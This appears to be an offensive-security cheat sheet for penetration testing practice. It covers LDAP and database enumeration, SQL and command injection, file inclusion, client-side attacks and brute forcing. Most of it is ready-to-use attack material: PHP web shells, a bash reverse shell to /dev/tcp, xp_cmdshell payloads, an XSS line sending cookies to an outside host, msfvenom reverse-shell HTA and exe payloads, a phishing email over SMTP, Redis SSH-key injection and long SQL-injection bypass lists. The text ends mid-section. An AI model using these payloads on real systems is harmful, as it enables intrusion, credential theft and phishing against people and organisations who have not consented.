# 389, 636, 3268, 3269 - LDAP

**Default ports:** 389 and 636(ldaps). Global Catalog (LDAP in ActiveDirectory) is available by default on ports 3268, and 3269 for LDAPS.

```
PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped
```

Get public information (like the domain name):

```bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
```

## <mark style="color:red;">Ldapsearch</mark>

Check null credentials or if your credentials are valid:

```bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -h <IP> -bx "DC=<SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
```

```bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v3839
```

If you find something saying that the "*bind must be completed*" means that the credentials are incorrect.

You can extract **everything from a domain** using:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
```

Extract **users**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"
```

Extract **computers**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **my info**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Domain Admins**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Domain Users**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Enterprise Admins**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Administrators**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

Extract **Remote Desktop Group**:

```bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
```

To see if you have access to any password you can use grep after executing one of the queries:

```bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
```

Please, notice that the passwords that you can find here could not be the real ones...

## <mark style="color:red;">LDAP enumeration with Python</mark>

You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3`

First try to **connect without** credentials:

```bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info
```

If the response is `True` like in the previous example, you can obtain some **interesting data** of the LDAP (like the **naming context** or **domain name**) server from:

```bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts: 
dc=DOMAIN,dc=DOMAIN
```

Once you have the naming context you can make some more exciting queries. This simply query should show you all the objects in the directory:

```bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
```

Or **dump** the whole ldap:

```bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
```


# 3306 - Mysql

## <mark style="color:red;">**Connect**</mark>

### <mark style="color:blue;">**Local**</mark>

```bash
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```

### <mark style="color:blue;">Remote</mark>

```bash
mysql -h <Hostname> -u root
mysql -h <Hostname> -u root@localhost
```

## <mark style="color:red;">External Enumeration</mark>

Some of the enumeration actions require valid credentials

```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
msf> use auxiliary/scanner/mysql/mysql_version
msf> use auxiliary/scanner/mysql/mysql_authbypass_hashdump
msf> use auxiliary/scanner/mysql/mysql_hashdump #Creds
msf> use auxiliary/admin/mysql/mysql_enum #Creds
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds 
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```

## <mark style="color:red;">Brute Force</mark>

Write any binary data:

```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
```

## <mark style="color:red;">**Commands**</mark>

```bash
show databases;
use <database>;
connect <database>;
show tables;
describe <table_name>;
show columns from <table>;

select version(); #version
select @@version(); #version
select user(); #User
select database(); #database name

#Get a shell with the mysql client user
\! sh

#Basic MySQLi
Union Select 1,2,3,4,group_concat(0x7c,table_name,0x7C) from information_schema.tables
Union Select 1,2,3,4,column_name from information_schema.columns where table_name="<TABLE NAME>"

#Read & Write
## Yo need FILE privilege to read & write to files.
select load_file('/var/lib/mysql-files/key.txt'); #Read file
select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/back.php'

#Try to change MySQL root password
UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';
UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';
FLUSH PRIVILEGES;
quit;
```

```bash
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```

## <mark style="color:red;">MySQL Permissions Enumeration</mark>

```sql
#Mysql
SHOW GRANTS [FOR user];
SHOW GRANTS;
SHOW GRANTS FOR 'root'@'localhost';
SHOW GRANTS FOR CURRENT_USER();

# Get users, permissions & hashes
SELECT * FROM mysql.user;

#From DB
select * from mysql.user where user='root'; 
## Get users with file_priv
select user,file_priv from mysql.user where file_priv='Y';
## Get users with Super_priv
select user,Super_priv from mysql.user where Super_priv='Y';

# List functions
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION';
#@ Functions not from sys. db
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
```

You can see in the docs the meaning of each privilege: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)


# 5432 - Postgres

Connect to postgresql:

```bash
psql -h $targetip -p 5432 -U admin -W #password: admin
psql -h $targetip -p 5432 -U postgres -W #password: postgres
```


# 27017 - MongoDB

## <mark style="color:red;">Enumeration</mark>

```bash
nmap -sV --script "mongo* and default" -p 27017 <IP> #By default all the nmap mongo enumerate scripts are used
```

## <mark style="color:red;">**Commands**</mark>

```bash
show dbs
use <db>
show collections
db.<collection>.find()  #Dump the collection
db.<collection>.count() #Number of records of the collection
db.current.find({"username":"admin"})  #Find in current db the username admin
db.users.updateOne({username: 'administrator'},{$set: {password: '8737729a3ada8674940065008dd87d9bc110221bf02b1048beab6078349e792c'}}) #Update a record (Dibble.oscp PG machine)
   > { "acknowledged" : true, "matchedCount" : 1, "modifiedCount" : 1 } #Result of the last command
```


# Web Application Attacks


# SQL Injection

## <mark style="color:red;">Authentication bypass</mark>

Here's the classic payload:

```
tom' or 1=1;#
```

If we do encounter errors when our payload is returning multiple rows, we can instruct the query to return a fixed number of records with the LIMIT statement:

```
tom' or 1=1 LIMIT 1;#
```

## <mark style="color:red;">Database analysis</mark>

Thanks 0xsyr0 for the [cheatsheet](https://github.com/0xsyr0/OSCP#sql-injection).

### <mark style="color:blue;">**MongoDB**</mark>

```
mongo "mongodb://localhost:27017"
```

```
> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;
```

#### <mark style="color:yellow;">**User Password Reset to "12345"**</mark>

```
> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })
```

### <mark style="color:blue;">**MSSQL**</mark>

#### <mark style="color:yellow;">**Show Database Content**</mark>

```
1> SELECT name FROM master.sys.databases
2> go
```

#### <mark style="color:yellow;">**OPENQUERY**</mark>

```
1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go
```

```
1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go
```

#### <mark style="color:yellow;">**Binary Extraction as Base64**</mark>

```
1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txt
```

#### <mark style="color:yellow;">**Steal NetNTLM Hash / Relay Attack**</mark>

```
SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'
```

#### <mark style="color:yellow;">Impacket mssqlclient.py</mark>

```
impacket-mssqlclient <USER>:<PASS>@<TARGET_IP>
./mssqlclient.py <USER>:<PASS>@<TARGET_IP>
```

### <mark style="color:blue;">**MySQL**</mark>

```
mysql -u root -p
mysql -u <USERNAME> -h <RHOST> -p
```

```
mysql> show databases;
mysql> use <DATABASE>;
mysql> show tables;
mysql> describe <TABLE>;
mysql> SELECT * FROM Users;
mysql> SELECT * FROM users \G;
mysql> SELECT Username,Password FROM Users;
```

#### <mark style="color:yellow;">**Update User Password**</mark>

```
mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;
```

#### <mark style="color:yellow;">**Drop a Shell**</mark>

```
mysql> \! /bin/sh
```

#### <mark style="color:yellow;">**xp\_cmdshell**</mark>

```
SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure
SQL> xp_cmdshell "whoami"
```

```
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
```

You can also execute base 64 encoded commands:

```bash
SQL> xp_cmdshell "powershell -e <B64_PAYLOAD>" #Get the payload from https://www.revshells.com/
```

#### <mark style="color:yellow;">**Insert Code to get executed**</mark>

```
mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");
```

#### <mark style="color:yellow;">**Write SSH Key into authorized\_keys2 file**</mark>

```
mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';
```

#### <mark style="color:yellow;">**Linked SQL Server Enumeration**</mark>

```
SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];
```

### <mark style="color:blue;">**NoSQL Injection**</mark>

```
admin'||''==='
{"username": {"$ne": null}, "password": {"$ne": null} }
```

### <mark style="color:blue;">**PostgreSQL**</mark>

```
$ psql
$ psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
$ psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
```

#### <mark style="color:yellow;">Common Commands</mark>

```
postgres=# \c
postgres=# \list
postgres=# \c  <DATABASE>
<DATABASE>=# \dt
<DATABASE>=# \du
<DATABASE>=# TABLE <TABLE>;
<DATABASE>=# SELECT * FROM users;
<DATABASE>=# \q
```

### <mark style="color:blue;">**Redis**</mark>

```
> AUTH <PASSWORD>
> AUTH <USERNAME> <PASSWORD>
> INFO SERVER
> INFO keyspace
> CONFIG GET *
> SELECT <NUMBER>
> KEYS *
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the username
```

#### <mark style="color:yellow;">**Enter own SSH Key**</mark>

```
redis-cli -h <RHOST>
echo "FLUSHALL" | redis-cli -h <RHOST>
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
<RHOST>:6379> get s-key
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
<RHOST>:6379> save
OK
```

## <mark style="color:red;">**SQL Injection**</mark>

**Master List**

```
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-
```

**Authentication Bypass**

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

**SQL Truncation Attack**

```
'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'
```

**sqlite3**

```
sqlite3 <DATABASE>.db
sqlite> .tables
sqlite> select * from users;
```

**sqsh**

```
sqsh -S <RHOST> -U <USERNAME>
```

**sqlcmd**

```
sqlcmd -S <RHOST> -U <USERNAME>
```


# File Inclusion Vulnerabilty

## <mark style="color:red;">Contaminating log files</mark>

Let's send that payload now:

```bash
kali@kali:~$ nc -nv 10.11.0.22 80
(UNKNOWN) [10.11.0.22] 80 (http) open
<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

HTTP/1.1 400 Bad Request
```

Our payload should be found near the end of the log file:

```bash
10.11.0.4 - - [30/Nov/2019:13:55:12 -0500]
"GET /css/bootstrap.min.css HTTP/1.1" 200 155758 "http://10.11.0.22/menu.php?file=\\Windows\\System32\\drivers\\etc\\hosts" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:13:58:07 -0500] "GET /tacotruck.php HTTP/1.1" 200 1189 "http://10.11.0.22/menu.php?file=/" "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
10.11.0.4 - - [30/Nov/2019:14:01:41 -0500] ""<?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>\n" 400 981 "-" "-"
```

We'll build a URL that includes the location of the log as well as our command to be executed (ipconfig) sent as the *cmd* parameter's value.

```bash
http://10.11.0.22/menu.php?file=c:\xampp\apache\logs\access.log&cmd=ipconfig
http://10.11.0.22/menu.php?file=/var/log/apache2/logs/access.log&cmd=ifconfig
```

## <mark style="color:red;">PHP wrappers</mark>

These are PHP wrappers:

```
file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams
```

Example of use:

```url
http://10.11.0.22/menu.php?file=data:text/plain,hello world
```

Or a better payload for LFI:

```
http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>
```


# Command Injection

## <mark style="color:red;">Command Chaining</mark> <a href="#command-chaining" id="command-chaining"></a>

```sh
<input>; ls
<input>& ls
<input>&& ls
<input>| ls
<input>|| ls
```

{% hint style="info" %}
Also try:

* Prepending a flag or parameter.
* Removing spaces (`<input>;ls`).
  {% endhint %}

#### Chaining Operators <a href="#chaining-operators" id="chaining-operators"></a>

Windows and Unix supported.

|       | Syntax          | Description                                      |
| ----- | --------------- | ------------------------------------------------ |
| `%0A` | `cmd1 %0A cmd2` | Newline. Executes both.                          |
| `;`   | `cmd1 ; cmd2`   | Semi-colon operator. Executes both.              |
| `&`   | `cmd1 & cmd2`   | Runs command in the background. Executes both.   |
| \`    | \`              | \`cmd1                                           |
| `&&`  | `cmd1 && cmd2`  | AND operator. Executes `cmd2` if `cmd1` succeds. |
| \`    |                 | \`                                               |

## <mark style="color:red;">I/O Redirection</mark> <a href="#io-redirection" id="io-redirection"></a>

```sh
> /var/www/html/output.txt
< /etc/passwd
```

## <mark style="color:red;">Command Substitution</mark> <a href="#command-substitution" id="command-substitution"></a>

Replace a command output with the command itself.

```sh
<input> `cat /etc/passwd`
```

```sh
<input> $(cat /etc/passwd)
```

## <mark style="color:red;">Filter Bypassing</mark> <a href="#filter-bypassing" id="filter-bypassing"></a>

### <mark style="color:blue;">Space filtering</mark> <a href="#space-filtering-spaceless-ifs" id="space-filtering-spaceless-ifs"></a>

**Linux**

```sh
cat</etc/passwd
# bash
${cat,/etc/passwd}
cat${IFS}/etc/passwd
v=$'cat\x20/etc/passwd'&&$v
IFS=,;`cat<<<cat,/etc/passwd`
```

**Windows**

```ps
ping%CommonProgramFiles:~10,-18%IP
ping%PROGRAMFILES:~10,-5%IP
```

### <mark style="color:blue;">Slash (</mark><mark style="color:blue;">`/`</mark><mark style="color:blue;">) filtering</mark> <a href="#slash--filtering" id="slash--filtering"></a>

```sh
echo ${HOME:0:1} # /
cat ${HOME:0:1}etc${HOME:0:1}passwd
```

```sh
echo . | tr '!-0' '"-1' # /
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
```

### <mark style="color:blue;">Command filtering</mark> <a href="#command-filtering" id="command-filtering"></a>

Quotes.

```sh
w'h'o'am'i
w"h"o"am"i
```

Slash.

```sh
w\ho\am\i
/\b\i\n/////s\h
```

At symbol.

```sh
who$@ami
```

Variable expansion.

```sh
v=/e00tc/pa00sswd
cat ${v//00/}
```

Wildcards.

```ps
powershell C:\*\*2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:\*\*32\c*?c.e?e # calc
```

## <mark style="color:red;">Time Based Data Exfiltration</mark> <a href="#time-based-data-exfiltration-time-based-rce" id="time-based-data-exfiltration-time-based-rce"></a>

```sh
time if [ $(uname -a | cut -c1) == L ]; then sleep 5; fi
```


# Client-Side Attacks

## <mark style="color:red;">Cross-Site Scripting XSS</mark>

A useful payload to catch users cookie

```javascript
<script>new Image().src="http://10.11.0.4/cool.jpg?output="+document.cookie;</script>
```

## <mark style="color:red;">HTA Exploit</mark>

In this example, we will utilize ActiveXObjects, which can potentially allow access to underlying operating system commands, making it a dangerous technique. This can be achieved through the Windows Script Host functionality, specifically using the Windows Script Host Shell object or WScript.&#x20;

Once the Windows Script Host Shell object is instantiated, we can use its run method to launch an application on the client machine we're targeting. However, when mshta.exe is executed, it keeps an additional window open behind the command prompt. To avoid this, we can modify our proof-of-concept by using the .close(); object method, as shown below:

```html
<html>
<head>
<script>
  var c= 'cmd.exe'
  new ActiveXObject('WScript.Shell').Run(c);
</script>
</head>
<body>
<script>
  self.close();
</script>
</body>
</html>
```

We can save this code in a file (poc.hta) on our Kali machine and host it on the Apache web server. When a victim opens this file with Internet Explorer, they will be presented with a pop-up dialog as shown below:

<figure><img src="/files/deiCJ4gv0o3ZKpXeHkQh" alt="" width="375"><figcaption></figcaption></figure>

The pop-up dialog is generated when the system attempts to execute an .hta file. If the user selects "Open," an additional dialog will appear:

<figure><img src="/files/hSAkwjsxkTHg3jSkX5LI" alt=""><figcaption></figcaption></figure>

The second dialog box appears because Internet Explorer's sandbox protection, also known as Protected Mode, is enabled by default. If the victim selects "Allow," the action is permitted, and the JavaScript code is executed, launching cmd.exe as shown below:

<figure><img src="/files/tUEukiIlHJY5cctw39PV" alt=""><figcaption></figcaption></figure>

To convert our basic HTML Application into an attack, we will utilize msfvenom, which supports the hta-psh output format to generate an HTA payload that relies on PowerShell:

```
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
```

If everything goes as expected, we should be able to capture a reverse shell.b

```
nc -lnvp 4444
```

## <mark style="color:red;">Phishing email 25 SMTP</mark>

Interact with SMTP server to send a phishing email:

```bash
nc -C 192.168.199.55 25                                                                                                
220 VICTIM Microsoft ESMTP MAIL Service, Version: 10.0.17763.1697 ready at  Tue, 21 Feb 2023 17:38:43 -0500 
ehlo all
250-VICTIM Hello [192.168.45.199]
250-TURN
250-SIZE 2097152
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
mail from: rmurray@victim
250 2.1.0 rmurray@victim....Sender OK
rcpt to: tharper@victim
250 2.1.5 tharper@victim 
data
354 Start mail input; end with <CRLF>.<CRLF>
subject: urgent patch
http://192.168.45.199:80/patch.exe
.
250 2.6.0 <VICTIM0MoN0uyHFWZx700000002@VICTIM> Queued mail for delivery
```

msfvenom payload used to generate the patch.exe:

```bash
msfvenom -p windows/shell_reverse_tcp lhost=tun0 lport=443 -f exe > patch.exe
```


# Brute Forcing

## <mark style="color:red;">Default Credentials</mark> <a href="#default-credentials" id="default-credentials"></a>

* [DefaultPassword](https://default-password.info/)
* [CIRT.net Password DB](https://www.cirt.net/passwords)
* [Default Router Passwords List](https://192-168-1-1ip.mobi/default-router-passwords-list/)

{% hint style="info" %}
Note: [SecLists](https://github.com/danielmiessler/SecLists) and [WordList Compendium](https://github.com/Dormidera/WordList-Compendium) also include default passwords lists.
{% endhint %}

## <mark style="color:red;">Wordlists</mark> <a href="#wordlists" id="wordlists"></a>

* [SecLists - The Pentester’s Companion](https://github.com/danielmiessler/SecLists)
* [Probable Wordlists](https://github.com/berzerk0/Probable-Wordlists)
* [WordList Compendium](https://github.com/Dormidera/WordList-Compendium)
* [Jhaddix Content Discovery All](https://gist.github.com/jhaddix/b80ea67d85c13206125806f0828f4d10)
* [Google Fuzzing Forum](https://github.com/google/fuzzing)
* [CrackStation’s Password Cracking Dictionary](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)

## <mark style="color:red;">Wordlist Generation</mark> <a href="#wordlist-generation" id="wordlist-generation"></a>

### <mark style="color:blue;">**CeWL**</mark>

```sh
cewl example.com -m 3 -w wordlist.txt
```

<details>

<summary>Parameters</summary>

* `-m <length>`: Minimum word length.
* `-w <file>`: Write the output to `<file>`.

</details>

### <mark style="color:blue;">**Crunch**</mark>

Simple wordlist.

```sh
crunch 6 12 abcdefghijk1234567890\@\! -o wordlist.txt
```

String permutation.

```sh
crunch 1 1 -p target pass 2019 -o wordlist.txt
```

Patterns.

```sh
crunch 9 9 0123456789 -t @target@@ -o wordlist.txt
```

<details>

<summary>Parameters</summary>

* `<min-len>`: The minimum string length.
* `<max-len>`: The maximum string length.
* `<charset>`: Characters set.
* `-o <file>`: Specifies the file to write the output to.
* `-p <charset or strings>`: Permutation.
* `-t <pattern>`: Specifies a pattern, eg: `@@pass@@@@`.
  * `@` will insert lower case characters
  * `,` will insert upper case characters
  * `%` will insert numbers
  * `^` will insert symbols

</details>

## <mark style="color:red;">Password Profiling</mark> <a href="#password-profiling" id="password-profiling"></a>

### <mark style="color:blue;">**CUPP**</mark>

```sh
cupp -i
```

<details>

<summary>Parameters</summary>

* `-i`: Interactive uestions for user password profiling.

</details>

## <mark style="color:red;">Word Mangling</mark> <a href="#word-mangling" id="word-mangling"></a>

### <mark style="color:blue;">**john**</mark>

```sh
john --wordlist=wordlist.txt --rules --stdout
```

<details>

<summary>Parameters</summary>

* `--wordlist <file>`: Wordlist mode, read words from `<file>` or `stdin`.
* `--rules[:CustomRule]`: Enable word mangling rules. Use default or add `[:CustomRule]`.
* `--stdout`: Output candidate passwords.

</details>

{% hint style="info" %}
Note: Custom rules can be appended to John’s configuration file `john.conf`.
{% endhint %}

## <mark style="color:red;">Services</mark> <a href="#services" id="services"></a>

### <mark style="color:blue;">FTP</mark> <a href="#ftp" id="ftp"></a>

Hydra

```sh
hydra -v -l ftp -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 ftp
```

<details>

<summary>Parameters</summary>

* `-v`: verbose mode.
* `-l <user>`: login with `user` name.
* `-P <passwords file>`: login with passwords from file.
* `-f`: exit after the first found user/password pair.

</details>

### <mark style="color:blue;">SMB</mark> <a href="#smb" id="smb"></a>

Hydra

```sh
hydra -v -t1 -l Administrator -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 smb
```

<details>

<summary>Parameters</summary>

* `-v`: verbose mode.
* `-t <tasks>`: run `<tasks>` number of connects in parallel. Default: 16.
* `-l <user>`: login with `user` name.
* `-P <passwords file>`: login with passwords from file.
* `-f`: exit after the first found user/password pair.

</details>

NSE Script

```sh
sudo nmap --script smb-brute -p U:137,T:139 10.0.0.3
```

### <mark style="color:blue;">SSH</mark> <a href="#ssh" id="ssh"></a>

Hydra

```sh
hydra -v -l ftp -P /usr/share/wordlists/rockyou.txt -f 10.0.0.3 ftp
```

### <mark style="color:blue;">Web Applications</mark> <a href="#web-applications" id="web-applications"></a>

#### HTTP Basic Auth <a href="#http-basic-auth" id="http-basic-auth"></a>

```sh
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-head /admin/
```

#### HTTP Digest <a href="#http-digest" id="http-digest"></a>

```sh
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt example.com http-get /admin/
```

#### HTTP POST Form <a href="#http-post-form" id="http-post-form"></a>

```sh
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed"
```

<details>

<summary>Parameters</summary>

* `-l <user>`: login with `user` name.
* `-L <users-file>`: login with users from file.
* `-P <passwords file>`: login with passwords from file.
* `http-head | http-get | http-post-form`: service to attack.

</details>

#### HTTP Authenticated POST Form <a href="#http-authenticated-post-form" id="http-authenticated-post-form"></a>

To add the session ID to the options string, simply append the Cookie header with the session ID, like so: `:H=Cookie\: security=low; PHPSESSID=if0kg4ss785kmov8bqlbusva3v`

```sh
hydra -l admin -P /usr/share/wordlists/rockyou.txt example.com https-post-form "/login.php:username=^USER^&password=^PASS^&login=Login:Not allowed:H=Cookie\: PHPSESSID=if0kg4ss785kmov8bqlbusva3v"
```

### <mark style="color:blue;">Miscellaneous</mark> <a href="#miscellaneous" id="miscellaneous"></a>

#### Combo (Colon Separated) Lists <a href="#combo-colon-separated-lists" id="combo-colon-separated-lists"></a>

Hydra

Use a colon separated `login:pass` format, instead of `-L`/`-P` options.

```sh
